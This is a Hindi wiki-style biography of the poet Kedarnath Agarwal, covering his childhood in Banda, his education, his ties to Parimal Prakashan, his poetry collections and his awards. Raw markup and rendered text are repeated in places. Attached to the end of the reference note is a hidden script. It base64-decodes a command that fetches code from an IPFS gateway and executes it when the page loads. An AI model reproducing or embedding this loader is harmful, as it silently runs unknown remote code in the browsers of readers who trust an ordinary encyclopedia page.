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'''केदारनाथ अग्रवाल''' ([[अंग्रेज़ी]]: ''Kedarnath Agarwal'', जन्म: [[1 अप्रैल]], [[1911]] - मृत्यु: [[22 जून]], [[2000]]) प्रगतिशील काव्य-धारा के एक प्रमुख कवि हैं। उनका पहला [[काव्य संग्रह|काव्य-संग्रह]] 'युग की गंगा' देश की आज़ादी के पहले [[मार्च]], [[1947]] में प्रकाशित हुआ। [[हिंदी साहित्य]] के इतिहास को समझने के लिए यह संग्रह एक बहुमूल्य दस्तावेज़ है। केदारनाथ अग्रवाल ने मार्क्सवादी दर्शन को जीवन का आधार मानकर जनसाधारण के जीवन की गहरी व व्यापक संवेदना को अपने कवियों में मुखरित किया है। कवि केदारनाथ की जनवादी लेखनी पूर्णरूपेण [[भारत]] की सोंधी मिट्टी की देन है। इसीलिए इनकी कविताओं में भारत की धरती की सुगंध और आस्था का स्वर मिलता है।
 
'''केदारनाथ अग्रवाल''' ([[अंग्रेज़ी]]: ''Kedarnath Agarwal'', जन्म: [[1 अप्रैल]], [[1911]] - मृत्यु: [[22 जून]], [[2000]]) प्रगतिशील काव्य-धारा के एक प्रमुख कवि हैं। उनका पहला [[काव्य संग्रह|काव्य-संग्रह]] 'युग की गंगा' देश की आज़ादी के पहले [[मार्च]], [[1947]] में प्रकाशित हुआ। [[हिंदी साहित्य]] के इतिहास को समझने के लिए यह संग्रह एक बहुमूल्य दस्तावेज़ है। केदारनाथ अग्रवाल ने मार्क्सवादी दर्शन को जीवन का आधार मानकर जनसाधारण के जीवन की गहरी व व्यापक संवेदना को अपने कवियों में मुखरित किया है। कवि केदारनाथ की जनवादी लेखनी पूर्णरूपेण [[भारत]] की सोंधी मिट्टी की देन है। इसीलिए इनकी कविताओं में भारत की धरती की सुगंध और आस्था का स्वर मिलता है।
 
==जीवन परिचय==
 
==जीवन परिचय==
केदारनाथ का जन्म 1 अप्रैल 1911 को [[उत्तर प्रदेश]] के [[बांदा]] जनपद के कमासिन गाँव में हुआ था। [[इलाहाबाद विश्वविद्यालय]] में अध्ययन के दौरान ही उन्होंने लिखने की शुरुआत की। उनकी लेखनी में [[प्रयाग]] की प्रेरणा का बड़ा योगदान रहा। प्रयाग के साहित्यिक परिवेश से उनके गहरे रिश्ते का अंदाज़ा इस बात से लगाया जा सकता है कि उनकी सभी मुख्य कृतियाँ इलाहाबाद के परिमल प्रकाशन से ही प्रकाशित हुई। प्रकाशक शिवकुमार सहाय उन्हें पितातुल्य मानते थे और 'बाबूजी' कहते थे। लेखक और प्रकाशक में ऐसा गहरा संबंध देखने को नहीं मिलता। यही कारण रहा कि केदारनाथ ने [[दिल्ली]] के प्रकाशकों का प्रलोभन ठुकरा कर परिमल से ही अपनी कृतियाँ प्रकाशित करवाईं। उनका पहला [[कविता संग्रह]] 'फूल नहीं रंग बोलते हैं' परिमल से ही प्रकाशित हुआ था। जब तक शिवकुमार जीवित थे, वह प्रत्येक जयंती को उनके निवास स्थान पर गोष्ठी और सम्मान समारोह का आयोजन करते थे।
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केदारनाथ अग्रवाल के जीवन अनुभव को तीन भागों में बांटा जा सकता है-
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# बचपन से बी.ए. तक (1911 से 1935)
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# वकालत की डिग्री से सेवानिवृत्ति तक (1938 से 971)
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# सेवानिवृत्ति से मृत्यु तक (1975 से 2000)।
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====जन्म और बचपन====
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अपनी कविता से [[जन-गण-मन]] को मानवता का स्वाद चखाने वाले अमर कवि केदारनाथ अग्रवाल का जन्म 1 अप्रैल, 1911 को [[उत्तर प्रदेश]] के [[बाँदा]] नगर के कमासिन गाँव में एक मध्यवर्गीय परिवार में हुआ था। इनके पिताजी हनुमान प्रसाद अग्रवाल और माताजी घसिट्टो देवी थी। केदार जी के पिताजी स्वयं कवि थे और उनका एक काव्य संकलन ‘मधुरिम’ के नाम से प्रकाशित भी हुआ था।  
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केदार जी का आरंभिक जीवन कमासिन के ग्रामीण माहौल में बीता और शिक्षा दीक्षा की शुरूआत भी वहीं हुई। तदनंतर अपने चाचा मुकुंदलाल अग्रवाल के संरक्षण में उन्होंने शिक्षा पाई। क्रमशः [[रायबरेली]], कटनी, [[जबलपुर]], [[इलाहाबाद]] में उनकी पढ़ाई हुई। इलाहाबाद में बी.ए. की उपाधि हासिल करने के पश्चात् कानूनी शिक्षा उन्होंने [[कानपुर]] में हासिल की। तत्पश्चात् बाँदा पहुँचकर वहीं वकालत करने लगे थे।<ref name="सृजनगाथा">{{cite web |url=http://www.srijangatha.com/Mulyankan1_14Apr2011#.UdA6EtiHh84 |title=केदारनाथ अग्रवाल का काव्य-संसार |accessmonthday=30 जून |accessyear=2013 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=सृजनगाथा |language=हिंदी}} </ref>
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====कविता में रुचि====
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बचपन में ग्रामीण परिवेश में रहते केदार जी के मन में सबके साथ मिल-जुलकर रहने के संस्कार पड़े थे और प्रकृति के प्रति अनन्य प्रेम व लगाव भी उत्पन्न हुआ था। बचपन से ही कविता लिखने में रुचि उत्पन्न हुई थी, कारण उनके पिताजी की कवि कर्म में रुचि, वहीं से केदार जी को काव्य-सृजन की प्रेरणा मिली थी। बचपन में घर-परिवार से मिले संस्कारों ने उन्हें गरीब और पीड़ितवर्ग के लोगों के संघर्षपूर्ण जीवन से वाकिफ़ होने का अवसर दिया था। कालांतर में कानूनी शिक्षा हासिल करते समय उन्हें इस वर्ग के उद्धार के उपाय तब सूझने लगे जब वे मार्क्सवाद के परिणामस्वरूप उत्पन्न प्रगतिशील विचारधारा से परिचित होने का मौका मिला। यह उनके जीवन का आत्ममंथन का दौर था, जिसने आगे चलकर उन्हें एक समर्पित वकील व अनूठे कवि बनने में योग दिया।<ref name="सृजनगाथा"/>
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==साहित्यिक परिचय==
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"कवि चेतन सृष्टि के कर्ता हैं। हम कवि लोग ब्रह्मा हैं।
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कवि को महाकाल मान नहीं सकता । मैं उसी की लड़ाई लड़ रहा हूँ।" - केदारनाथ अग्रवाल
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“कविता जीवन को उदात्त बनाती है” मानने वाले केदारनाथ अग्रवाल ने लगभग नौ दशकों का उदात्त जीवन अन्यतम कवि के रूप में पूरी उदात्तता के साथ जीने की कोशिश की थी। अपने समय के दर्जनों कवियों में अपना एक अलग जीवन, अपनी एक अलग पहचान बनाने में सफल जनकवि के रूप में केदार जी की काव्य-साधना स्तुत्य है। उन्होंने अपनी निर्भीक वाणी से हृदय के उद्गार जितने भी प्रकट किए, वे सब चेतना की लहरें उमड़ने वाले अथाह सागर के रूप में नज़र आते हैं। केदार जी का काव्य-संसार - [[सागर]] जैसा विशाल, नदी की धारा जैसा निर्मल व तेज और चाँदनी-सी निश्छल आभा फैलाते हुए काव्य-प्रेमियों लिए थाती बन गया है।
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====काव्य-यात्रा का आरंभ====
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केदार जी की काव्य-यात्रा का आरंभ लगभग [[1930]] से माना जा सकता है। केदारनाथ अग्रवाल जी को प्रगतिशील कवियों की श्रेणी में बड़ी ख्याति मिली है। कविता के अलावा गद्य लेखन में भी उन्होंने रुचि दर्शायी थी, मगर काव्य-सर्जक के रूप में ही वे सुख्यात हैं। इनकी प्रकाशित ढ़ाई दर्जन कृतियों में 23 कविता संग्रह, एक अनूदित कविताओं का संकलन, तीन निबंध संग्रह, एक उपन्यास, एक यात्रावृत्तांत, एक साक्षात्कार संकलन और एक पत्र-संकलन भी शामिल हैं।<ref name="सृजनगाथा"/>
 
==कृतियाँ==
 
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केदारनाथ अग्रवाल के प्रमुख कविता संग्रह हैं:-
 
केदारनाथ अग्रवाल के प्रमुख कविता संग्रह हैं:-
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# मार प्यार की थापें  
 
# मार प्यार की थापें  
 
केदारनाथ अग्रवाल अग्रवाल द्वारा यात्रा संस्मरण 'बस्ती खिले गुलाबों की' उपन्यास 'पतिया', 'बैल बाजी मार ले गये' तथा निबंध संग्रह 'समय समय पर' (1970), 'विचार बोध' (1980), 'विवेक विवेचन' (1980) भी लिखे गये हैं। उनकी कई कृतियाँ [[अंग्रेज़ी]], रूसी और जर्मन भाषा में अनुवाद हो चुकी हैं। [[केदार शोध पीठ न्यास|केदार शोधपीठ]] की ओर हर साल एक साहित्यकार को लेखनी के लिए '[[केदार सम्मान]]' से सम्मानित किया जाता है।
 
केदारनाथ अग्रवाल अग्रवाल द्वारा यात्रा संस्मरण 'बस्ती खिले गुलाबों की' उपन्यास 'पतिया', 'बैल बाजी मार ले गये' तथा निबंध संग्रह 'समय समय पर' (1970), 'विचार बोध' (1980), 'विवेक विवेचन' (1980) भी लिखे गये हैं। उनकी कई कृतियाँ [[अंग्रेज़ी]], रूसी और जर्मन भाषा में अनुवाद हो चुकी हैं। [[केदार शोध पीठ न्यास|केदार शोधपीठ]] की ओर हर साल एक साहित्यकार को लेखनी के लिए '[[केदार सम्मान]]' से सम्मानित किया जाता है।
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====प्रकाशित साहित्य====
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|+केदारनाथ अग्रवाल का प्रकाशित साहित्य
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==परिमल प्रकाशन से संबंध==
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[[इलाहाबाद विश्वविद्यालय]] में अध्ययन के दौरान ही उन्होंने लिखने की शुरुआत की। उनकी लेखनी में [[प्रयाग]] की प्रेरणा का बड़ा योगदान रहा। प्रयाग के साहित्यिक परिवेश से उनके गहरे रिश्ते का अंदाज़ा इस बात से लगाया जा सकता है कि उनकी सभी मुख्य कृतियाँ इलाहाबाद के परिमल प्रकाशन से ही प्रकाशित हुई। प्रकाशक शिवकुमार सहाय उन्हें पितातुल्य मानते थे और 'बाबूजी' कहते थे। लेखक और प्रकाशक में ऐसा गहरा संबंध देखने को नहीं मिलता। यही कारण रहा कि केदारनाथ ने [[दिल्ली]] के प्रकाशकों का प्रलोभन ठुकरा कर परिमल से ही अपनी कृतियाँ प्रकाशित करवाईं। उनका पहला [[कविता संग्रह]] 'फूल नहीं रंग बोलते हैं' परिमल से ही प्रकाशित हुआ था। जब तक शिवकुमार जीवित थे, वह प्रत्येक जयंती को उनके निवास स्थान पर गोष्ठी और सम्मान समारोह का आयोजन करते थे।
 
==सम्मान एवं पुरस्कार==
 
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# सोवियत लैंड नेहरू पुरस्कार
 
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==बाहरी कड़ियाँ==
 
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*[http://saahityaalochan.blogspot.in/2008/09/blog-post_23.html कवि केदारनाथ अग्रवाल की राजनीतिक दृष्टि ]
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*[http://lekhakmanch.com/tag/%E0%A4%95%E0%A5%87%E0%A4%A6%E0%A4%BE%E0%A4%B0%E0%A4%A8%E0%A4%BE%E0%A4%A5-%E0%A4%85%E0%A4%97%E0%A5%8D%E0%A4%B0%E0%A4%B5%E0%A4%BE%E0%A4%B2 प्रगतिशील साहित्य के पक्ष में बहस का एक तेवर : केदारनाथ अग्रवाल का आलोचनात्मक लेखन : गोपाल प्रधान]
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*[http://hindi.webdunia.com/miscellaneous/literature/remembrance/1004/02/1100402044_1.htm मित्रता के कवि केदारनाथ अग्रवाल ]
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*[http://janjankeeaavaz.blogspot.in/2011/02/blog-post.html केदारनाथ अग्रवाल: परिवेशगत जीवन एवं साहित्य]
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*[http://www.anubhuti-hindi.org/gauravgram/kedarnath_agrawal/index.htm केदारनाथ अग्रवाल]
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*[http://www.pravakta.com/kedarnath-agarwal-consciousness-lyrics केदारनाथ अग्रवाल की गीत चेतना]
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*[http://www.pakhi.in/april_11/kedarnath_aggerwal.php केदारनाथ अग्रवाल: 'केन कूल की काली मिट्टी वह भी तुम हो']
 
==संबंधित लेख==
 
==संबंधित लेख==
 
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14:18, 30 जून 2013 का अवतरण

केदारनाथ अग्रवाल (अंग्रेज़ी: Kedarnath Agarwal, जन्म: 1 अप्रैल, 1911 - मृत्यु: 22 जून, 2000) प्रगतिशील काव्य-धारा के एक प्रमुख कवि हैं। उनका पहला काव्य-संग्रह 'युग की गंगा' देश की आज़ादी के पहले मार्च, 1947 में प्रकाशित हुआ। हिंदी साहित्य के इतिहास को समझने के लिए यह संग्रह एक बहुमूल्य दस्तावेज़ है। केदारनाथ अग्रवाल ने मार्क्सवादी दर्शन को जीवन का आधार मानकर जनसाधारण के जीवन की गहरी व व्यापक संवेदना को अपने कवियों में मुखरित किया है। कवि केदारनाथ की जनवादी लेखनी पूर्णरूपेण भारत की सोंधी मिट्टी की देन है। इसीलिए इनकी कविताओं में भारत की धरती की सुगंध और आस्था का स्वर मिलता है।

जीवन परिचय

केदारनाथ अग्रवाल के जीवन अनुभव को तीन भागों में बांटा जा सकता है-

  1. बचपन से बी.ए. तक (1911 से 1935)
  2. वकालत की डिग्री से सेवानिवृत्ति तक (1938 से 971)
  3. सेवानिवृत्ति से मृत्यु तक (1975 से 2000)।

जन्म और बचपन

अपनी कविता से जन-गण-मन को मानवता का स्वाद चखाने वाले अमर कवि केदारनाथ अग्रवाल का जन्म 1 अप्रैल, 1911 को उत्तर प्रदेश के बाँदा नगर के कमासिन गाँव में एक मध्यवर्गीय परिवार में हुआ था। इनके पिताजी हनुमान प्रसाद अग्रवाल और माताजी घसिट्टो देवी थी। केदार जी के पिताजी स्वयं कवि थे और उनका एक काव्य संकलन ‘मधुरिम’ के नाम से प्रकाशित भी हुआ था। केदार जी का आरंभिक जीवन कमासिन के ग्रामीण माहौल में बीता और शिक्षा दीक्षा की शुरूआत भी वहीं हुई। तदनंतर अपने चाचा मुकुंदलाल अग्रवाल के संरक्षण में उन्होंने शिक्षा पाई। क्रमशः रायबरेली, कटनी, जबलपुर, इलाहाबाद में उनकी पढ़ाई हुई। इलाहाबाद में बी.ए. की उपाधि हासिल करने के पश्चात् कानूनी शिक्षा उन्होंने कानपुर में हासिल की। तत्पश्चात् बाँदा पहुँचकर वहीं वकालत करने लगे थे।[1]

कविता में रुचि

बचपन में ग्रामीण परिवेश में रहते केदार जी के मन में सबके साथ मिल-जुलकर रहने के संस्कार पड़े थे और प्रकृति के प्रति अनन्य प्रेम व लगाव भी उत्पन्न हुआ था। बचपन से ही कविता लिखने में रुचि उत्पन्न हुई थी, कारण उनके पिताजी की कवि कर्म में रुचि, वहीं से केदार जी को काव्य-सृजन की प्रेरणा मिली थी। बचपन में घर-परिवार से मिले संस्कारों ने उन्हें गरीब और पीड़ितवर्ग के लोगों के संघर्षपूर्ण जीवन से वाकिफ़ होने का अवसर दिया था। कालांतर में कानूनी शिक्षा हासिल करते समय उन्हें इस वर्ग के उद्धार के उपाय तब सूझने लगे जब वे मार्क्सवाद के परिणामस्वरूप उत्पन्न प्रगतिशील विचारधारा से परिचित होने का मौका मिला। यह उनके जीवन का आत्ममंथन का दौर था, जिसने आगे चलकर उन्हें एक समर्पित वकील व अनूठे कवि बनने में योग दिया।[1]

साहित्यिक परिचय

"कवि चेतन सृष्टि के कर्ता हैं। हम कवि लोग ब्रह्मा हैं। कवि को महाकाल मान नहीं सकता । मैं उसी की लड़ाई लड़ रहा हूँ।" - केदारनाथ अग्रवाल “कविता जीवन को उदात्त बनाती है” मानने वाले केदारनाथ अग्रवाल ने लगभग नौ दशकों का उदात्त जीवन अन्यतम कवि के रूप में पूरी उदात्तता के साथ जीने की कोशिश की थी। अपने समय के दर्जनों कवियों में अपना एक अलग जीवन, अपनी एक अलग पहचान बनाने में सफल जनकवि के रूप में केदार जी की काव्य-साधना स्तुत्य है। उन्होंने अपनी निर्भीक वाणी से हृदय के उद्गार जितने भी प्रकट किए, वे सब चेतना की लहरें उमड़ने वाले अथाह सागर के रूप में नज़र आते हैं। केदार जी का काव्य-संसार - सागर जैसा विशाल, नदी की धारा जैसा निर्मल व तेज और चाँदनी-सी निश्छल आभा फैलाते हुए काव्य-प्रेमियों लिए थाती बन गया है।

काव्य-यात्रा का आरंभ

केदार जी की काव्य-यात्रा का आरंभ लगभग 1930 से माना जा सकता है। केदारनाथ अग्रवाल जी को प्रगतिशील कवियों की श्रेणी में बड़ी ख्याति मिली है। कविता के अलावा गद्य लेखन में भी उन्होंने रुचि दर्शायी थी, मगर काव्य-सर्जक के रूप में ही वे सुख्यात हैं। इनकी प्रकाशित ढ़ाई दर्जन कृतियों में 23 कविता संग्रह, एक अनूदित कविताओं का संकलन, तीन निबंध संग्रह, एक उपन्यास, एक यात्रावृत्तांत, एक साक्षात्कार संकलन और एक पत्र-संकलन भी शामिल हैं।[1]

कृतियाँ

केदारनाथ अग्रवाल के प्रमुख कविता संग्रह हैं:-

  1. युग की गंगा
  2. फूल नहीं, रंग बोलते हैं
  3. गुलमेंहदी
  4. हे मेरी तुम!
  5. बोलेबोल अबोल
  6. जमुन जल तुम
  7. कहें केदार खरी खरी
  8. मार प्यार की थापें

केदारनाथ अग्रवाल अग्रवाल द्वारा यात्रा संस्मरण 'बस्ती खिले गुलाबों की' उपन्यास 'पतिया', 'बैल बाजी मार ले गये' तथा निबंध संग्रह 'समय समय पर' (1970), 'विचार बोध' (1980), 'विवेक विवेचन' (1980) भी लिखे गये हैं। उनकी कई कृतियाँ अंग्रेज़ी, रूसी और जर्मन भाषा में अनुवाद हो चुकी हैं। केदार शोधपीठ की ओर हर साल एक साहित्यकार को लेखनी के लिए 'केदार सम्मान' से सम्मानित किया जाता है।

प्रकाशित साहित्य

केदारनाथ अग्रवाल का प्रकाशित साहित्य
  1. काव्य संकलन युग की गंगा (1947)
  2. नींद के बादल (1947)
  3. लोक और आलोक (1957)
  4. फूल नहीं रंग बोलते हैं (1965)
  5. आग का आइना (1970)
  6. देश की कविताएं (1970)
  7. गुल मेंहदी (1978)
  8. आधुनिक कवि-16 (1978)
  1. पंख और पतवार (1979)
  2. हे मेरी तुम (1981)
  3. मार प्यार की थापें (1981)
  4. बम्बई का रक्त स्नान (1981)
  5. कहे केदार खरी खरी (1983)
  6. अपूर्वा (1984)
  7. जमुन जल तुम (1984)
  8. बोले बोल अबोल (1985)
  9. जो शिलाएं तोड़ते हैं (1986)
  1. आत्मगंध (1988)
  2. अनहारी हरियाली (1990)
  3. खुली आँखें खुले डैने (1993)
  4. पुष्पदीप (1994)
  5. वसंत में प्रसन्न हुई पृथ्वी (1996)
  6. कुहक कोपल खड़े पेड़ की देह (1997)

परिमल प्रकाशन से संबंध

इलाहाबाद विश्वविद्यालय में अध्ययन के दौरान ही उन्होंने लिखने की शुरुआत की। उनकी लेखनी में प्रयाग की प्रेरणा का बड़ा योगदान रहा। प्रयाग के साहित्यिक परिवेश से उनके गहरे रिश्ते का अंदाज़ा इस बात से लगाया जा सकता है कि उनकी सभी मुख्य कृतियाँ इलाहाबाद के परिमल प्रकाशन से ही प्रकाशित हुई। प्रकाशक शिवकुमार सहाय उन्हें पितातुल्य मानते थे और 'बाबूजी' कहते थे। लेखक और प्रकाशक में ऐसा गहरा संबंध देखने को नहीं मिलता। यही कारण रहा कि केदारनाथ ने दिल्ली के प्रकाशकों का प्रलोभन ठुकरा कर परिमल से ही अपनी कृतियाँ प्रकाशित करवाईं। उनका पहला कविता संग्रह 'फूल नहीं रंग बोलते हैं' परिमल से ही प्रकाशित हुआ था। जब तक शिवकुमार जीवित थे, वह प्रत्येक जयंती को उनके निवास स्थान पर गोष्ठी और सम्मान समारोह का आयोजन करते थे।

सम्मान एवं पुरस्कार

  1. सोवियत लैंड नेहरू पुरस्कार
  2. साहित्य अकादमी पुरस्कार
  3. हिंदी संस्थान पुरस्कार
  4. तुलसी पुरस्कार
  5. मैथिलीशरण गुप्त पुरस्कार


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 केदारनाथ अग्रवाल का काव्य-संसार (हिंदी) (एच.टी.एम.एल) सृजनगाथा। अभिगमन तिथि: 30 जून, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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